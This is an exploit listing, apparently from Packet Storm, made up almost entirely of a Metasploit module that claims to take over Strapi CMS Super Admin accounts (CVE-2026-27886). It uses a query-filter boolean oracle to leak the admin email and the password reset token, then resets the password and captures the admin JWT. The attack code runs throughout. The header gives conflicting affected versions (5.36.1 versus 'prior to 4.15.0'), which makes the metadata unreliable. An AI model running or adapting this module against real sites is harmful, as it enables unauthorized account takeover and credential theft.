Share
## https://sploitus.com/exploit?id=PACKETSTORM:225151
==================================================================================================================================
    | # Title     : Strapi CMS 5.36.1 Super Admin Account Takeover via Boolean Oracle & Password Reset Token Extraction              |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://strapi.io/                                                                                               |
    ==================================================================================================================================
    
    [+] Summary    :   a critical authentication bypass vulnerability in Strapi CMS (versions prior to 4.15.0).
    
    
    [+] POC        :  
    
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Auxiliary::Report
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Strapi CMS CVE-2026-27886 Super Admin Account Takeover',
          'Description'    => %q{
            This module exploits a critical vulnerability in Strapi CMS (CVE-2026-27886)
            that allows unauthenticated attackers to take over the Super Admin account.
    
            The vulnerability chain:
            1. Boolean-based oracle via $startsWith parameter bypass
            2. Admin email enumeration using updatedBy relation
            3. Password reset token extraction (40 characters)
            4. Complete account takeover with Super Admin JWT
    
            This affects Strapi versions prior to 4.15.0.
          },
          'Author'         => ['indoushka'],
          'References'     => [
            ['CVE', '2026-27886'],
            ['URL', 'https://bishopfox.com/blog/strapi-cve-2026-27886'],
            ['URL', 'https://docs.strapi.io/dev-docs/security/2026-27886']
          ],
          'DisclosureDate' => '2026-03-15',
          'License'        => MSF_LICENSE,
          'Notes'          => {
            'Stability'   => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [IOC_IN_LOGS]  # Makes ~800+ requests
          }
        ))
        register_options([
          OptString.new('TARGET_URI', [true, 'Strapi Content API endpoint', '/api/articles']),
          OptString.new('ADMIN_EMAIL', [false, 'Admin email (skip enumeration if known)', nil]),
          OptString.new('NEW_PASSWORD', [true, 'New password for admin account', 'Pwned@123456!']),
          OptEnum.new('RELATION', [true, 'Relation field for email enumeration', 'updatedBy', 
            ['updatedBy', 'createdBy', 'author', 'owner']]),
          OptInt.new('THREADS', [true, 'Number of threads for brute force', 1]),
          OptFloat.new('DELAY', [true, 'Delay between requests (seconds)', 0.0]),
          OptBool.new('VERIFY_ONLY', [false, 'Only verify vulnerability', false]),
          OptBool.new('EXTRACT_TOKEN', [true, 'Extract reset token via oracle', true]),
          OptString.new('PROXY', [false, 'HTTP proxy', nil]),
          OptInt.new('TIMEOUT', [true, 'HTTP timeout (seconds)', 30])
        ])
        register_advanced_options([
          OptString.new('EMAIL_ALPHABET', [true, 'Alphabet for email brute force', 
            '@.+-abcdefghijklmnopqrstuvwxyz0123456789']),
          OptString.new('TOKEN_ALPHABET', [true, 'Alphabet for token brute force', 
            '0123456789abcdef']),
          OptInt.new('MAX_EMAIL_LEN', [true, 'Maximum email length', 64]),
          OptInt.new('MAX_RETRIES', [true, 'Maximum retry attempts', 3])
        ])
      end
      def setup
        @email_alphabet = datastore['EMAIL_ALPHABET'].chars
        @token_alphabet = datastore['TOKEN_ALPHABET'].chars
        @relation = datastore['RELATION']
        @delay = datastore['DELAY']
        @timeout = datastore['TIMEOUT']
        @max_retries = datastore['MAX_RETRIES']
      end
      def get_total_count(endpoint, params = {})
        """Make request and return pagination.total"""
        uri = normalize_uri(endpoint)
        if !params.empty?
          uri += "?#{params.to_query}"
        end
        retries = 0
        begin
          res = send_request_cgi({
            'method' => 'GET',
            'uri' => uri
          }, @timeout)
          
          if res && res.code == 200
            begin
              json = JSON.parse(res.body)
              total = json.dig('meta', 'pagination', 'total') || 0
              return total.to_i
            rescue JSON::ParserError
              vprint_error("Non-JSON response: #{res.body[0..100]}")
              return 0
            end
          elsif res
            vprint_error("HTTP #{res.code} from #{uri}")
            return 0
          else
            raise Rex::ConnectionError
          end
        rescue Rex::ConnectionError => e
          retries += 1
          if retries <= @max_retries
            print_warning("Connection error, retry #{retries}/#{@max_retries}")
            sleep(2)
            retry
          else
            print_error("Failed after #{@max_retries} retries: #{e.message}")
            return 0
          end
        end
      end
      def verify_vulnerable(endpoint)
        """Check if target is vulnerable using differential test"""
        print_status("Verifying vulnerability...")
        baseline = get_total_count(endpoint, {})
        where_test = get_total_count(endpoint, {"where[id][$lt]" => "-1"})
        vulnerable = baseline > 0 && where_test == 0
        if vulnerable
          print_good("Vulnerable: baseline=#{baseline}, where_test=#{where_test}")
        else
          print_error("Not vulnerable: baseline=#{baseline}, where_test=#{where_test}")
        end
        vulnerable
      end
      def enumerate_admin_email(endpoint)
        """Brute force admin email using $startsWith oracle"""
        print_status("Enumerating admin email...")
        known = ""
        progress = 0
        (0...datastore['MAX_EMAIL_LEN']).each do |position|
          found = false
          @email_alphabet.each do |char|
            candidate = known + char
            params = {
              "where[#{@relation}][email][$startsWith]" => candidate
            }
            if get_total_count(endpoint, params) > 0
              known += char
              found = true
              progress = position + 1
              print_status("Email: #{known} (#{progress} chars)")
              break
            end
            sleep(@delay) if @delay > 0
          end
          break unless found
        end
        if known.empty?
          print_error("Failed to enumerate admin email")
          return nil
        end
        print_good("Found admin email: #{known}")
        known
      end
      def trigger_password_reset(base_url, email)
        """Trigger password reset flow"""
        print_status("Triggering password reset for #{email}...")
        forgot_url = normalize_uri(base_url, '/admin/forgot-password')
        begin
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => forgot_url,
            'ctype' => 'application/json',
            'data' => { 'email' => email }.to_json
          }, @timeout)
          if res && (res.code == 204 || res.code == 200)
            print_good("Password reset triggered (HTTP #{res.code})")
            return true
          elsif res
            print_error("Unexpected response: HTTP #{res.code}")
            return false
          else
            return false
          end
        rescue => e
          print_error("Failed to trigger reset: #{e.message}")
          false
        end
      end
      def extract_reset_token(endpoint)
        """Extract 40-character reset token via $startsWith oracle"""
        print_status("Extracting 40-character reset token...")
        token = ""
        total_chars = 40
        (0...total_chars).each do |position|
          found = false
          
          @token_alphabet.each do |char|
            candidate = token + char
            params = {
              "where[#{@relation}][resetPasswordToken][$startsWith]" => candidate
            }
            if get_total_count(endpoint, params) > 0
              token += char
              found = true
              percent = ((position + 1) * 100 / total_chars).to_i
              print_status("[#{percent}%] Token: #{token}")
              break
            end
            sleep(@delay) if @delay > 0
          end
          unless found
            print_error("Failed to extract token at position #{position + 1}")
            return nil
          end
        end
        if token.length == total_chars
          print_good("Token extracted: #{token}")
          return token
        else
          print_error("Token extraction incomplete (#{token.length}/#{total_chars})")
          return nil
        end
      end
      def reset_password(base_url, token, new_password)
        """Reset password with stolen token to get JWT"""
        print_status("Resetting password with stolen token...")
        reset_url = normalize_uri(base_url, '/admin/reset-password')
        begin
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => reset_url,
            'ctype' => 'application/json',
            'data' => {
              'resetPasswordToken' => token,
              'password' => new_password
            }.to_json
          }, @timeout)
          if res && res.code == 200
            begin
              json = JSON.parse(res.body)
              jwt = json.dig('data', 'token')
              user = json.dig('data', 'user')
              if jwt
                print_good("Password reset successful!")
                print_good("JWT: #{jwt[0..50]}...")
                print_good("User: #{user['email']} (ID: #{user['id']})") if user
                return jwt
              else
                print_error("Response missing JWT token")
                return nil
              end
            rescue JSON::ParserError
              print_error("Invalid JSON response")
              return nil
            end
          elsif res
            print_error("Unexpected response: HTTP #{res.code}")
            return nil
          else
            return nil
          end
        rescue => e
          print_error("Failed to reset password: #{e.message}")
          nil
        end
      end
      def store_compromised_credentials(email, password, jwt)
        """Store stolen credentials in database"""
        credential_data = {
          origin_type: :service,
          module_fullname: fullname,
          username: email,
          private_data: {
            password: password,
            jwt: jwt
          }.to_json,
          private_type: :password,
          service_name: 'Strapi CMS',
          workspace_id: myworkspace_id
        }
        create_credential(credential_data)
        print_good("Credentials stored in database")
      end
      def test_jwt_access(base_url, jwt)
        """Test if JWT provides admin access"""
        print_status("Testing JWT access...")
        
        admin_urls = [
          '/admin/users',
          '/admin/content-manager',
          '/admin/settings'
        ]
        admin_urls.each do |url|
          uri = normalize_uri(base_url, url)
          begin
            res = send_request_cgi({
              'method' => 'GET',
              'uri' => uri,
              'headers' => {
                'Authorization' => "Bearer #{jwt}"
              }
            }, @timeout)
            if res && res.code == 200
              print_good("Access granted to #{url}")
              return true
            end
          rescue
            next
          end
        end
        print_warning("JWT might not have admin privileges")
        false
      end
      def run_host(ip)
        endpoint = normalize_uri(target_uri.path, datastore['TARGET_URI'])
        base_url = "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}"
        print_status("Target: #{base_url}")
        print_status("Endpoint: #{endpoint}")
        unless verify_vulnerable(endpoint)
          print_error("Target is not vulnerable to CVE-2026-27886")
          return
        end
        return if datastore['VERIFY_ONLY']
        admin_email = datastore['ADMIN_EMAIL']
        if admin_email.nil? || admin_email.empty?
          admin_email = enumerate_admin_email(endpoint)
          if admin_email.nil?
            print_error("Failed to enumerate admin email")
            return
          end
        else
          print_status("Using provided admin email: #{admin_email}")
        end
        unless trigger_password_reset(base_url, admin_email)
          print_error("Failed to trigger password reset")
          return
        end
        unless datastore['EXTRACT_TOKEN']
          print_status("Token extraction disabled by user")
          return
        end
        reset_token = extract_reset_token(endpoint)
        if reset_token.nil?
          print_error("Failed to extract reset token")
          return
        end
        new_password = datastore['NEW_PASSWORD']
        jwt = reset_password(base_url, reset_token, new_password)
        if jwt.nil?
          print_error("Failed to reset password")
          return
        end
        print_line("\n" + "="*60)
        print_good("SUCCESS! Admin account compromised")
        print_good("Email: #{admin_email}")
        print_good("New password: #{new_password}")
        print_good("JWT Token: #{jwt}")
        print_line("="*60 + "\n")
        test_jwt_access(base_url, jwt)
        store_compromised_credentials(admin_email, new_password, jwt)
        report_vuln({
          host: rhost,
          port: rport,
          name: name,
          refs: references,
          info: "Strapi CMS Super Admin account takeover via CVE-2026-27886"
        })
      end
    end
    	
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================